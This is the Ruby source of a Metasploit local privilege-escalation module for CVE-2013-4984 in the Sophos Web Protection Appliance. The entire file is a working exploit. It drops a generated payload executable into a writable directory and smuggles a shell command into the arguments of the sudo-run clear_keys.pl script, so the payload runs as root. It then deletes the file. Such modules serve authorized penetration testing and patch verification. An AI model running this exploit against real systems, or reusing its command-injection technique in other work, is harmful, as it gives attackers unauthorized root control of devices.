require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/exe'
class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common
def initialize(info={})
super( update_info( info, {
'Name' => 'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation',
'Description' => %q{
This module abuses a command injection on the clear_keys.pl perl script, installed with the
Sophos Web Protection Appliance, to escalate privileges from the "spiderman" user to "root".
This module is useful for post exploitation of vulnerabilities on the Sophos Web Protection
Appliance web ui, executed by the "spiderman" user. This module has been tested successfully
on Sophos Virtual Web Appliance 3.7.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Francisco Falcon',
'juan vazquez'
],
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>[[ 'Linux x86', { 'Arch' => ARCH_X86 } ]],
'References' =>
[
[ 'CVE', '2013-4984' ],
[ 'OSVDB', '97028' ],
[ 'BID', '62265' ],
[ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities']
],
'DefaultOptions' =>
{
"PrependFork" => true,
"PrependSetresuid" => true,
"PrependSetresgid" => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 06 2013'
}
))
register_options([
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ]),
], self.class)
end
def check
if file?(datastore["clear_keys"])
return CheckCode::Detected
end
return CheckCode::Unknown
end
def exploit
print_status("Checking actual user...")
id = cmd_exec("id -un")
if id != "spiderman"
fail_with(Failure::NoAccess, "The actual user is \"#{id}\", you must be \"spiderman\" to exploit this")
end
print_status("Checking for the vulnerable component...")
if check != CheckCode::Detected
fail_with(Failure::NoTarget, "The vulnerable component has not been found")
end
print_status("Dropping the payload to #{datastore["WritableDir"]}")
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
write_file(exe_file, generate_payload_exe)
cmd_exec "chmod +x #{exe_file}"
print_status("Running...")
begin
cmd_exec "sudo #{datastore["clear_keys"]} #{rand_text_alpha(4 + rand(4))} \";#{exe_file}; rm -f #{exe_file};\" /#{rand_text_alpha(4 + rand(4))}"
ensure
cmd_exec "rm -f #{exe_file}"
end
end
end
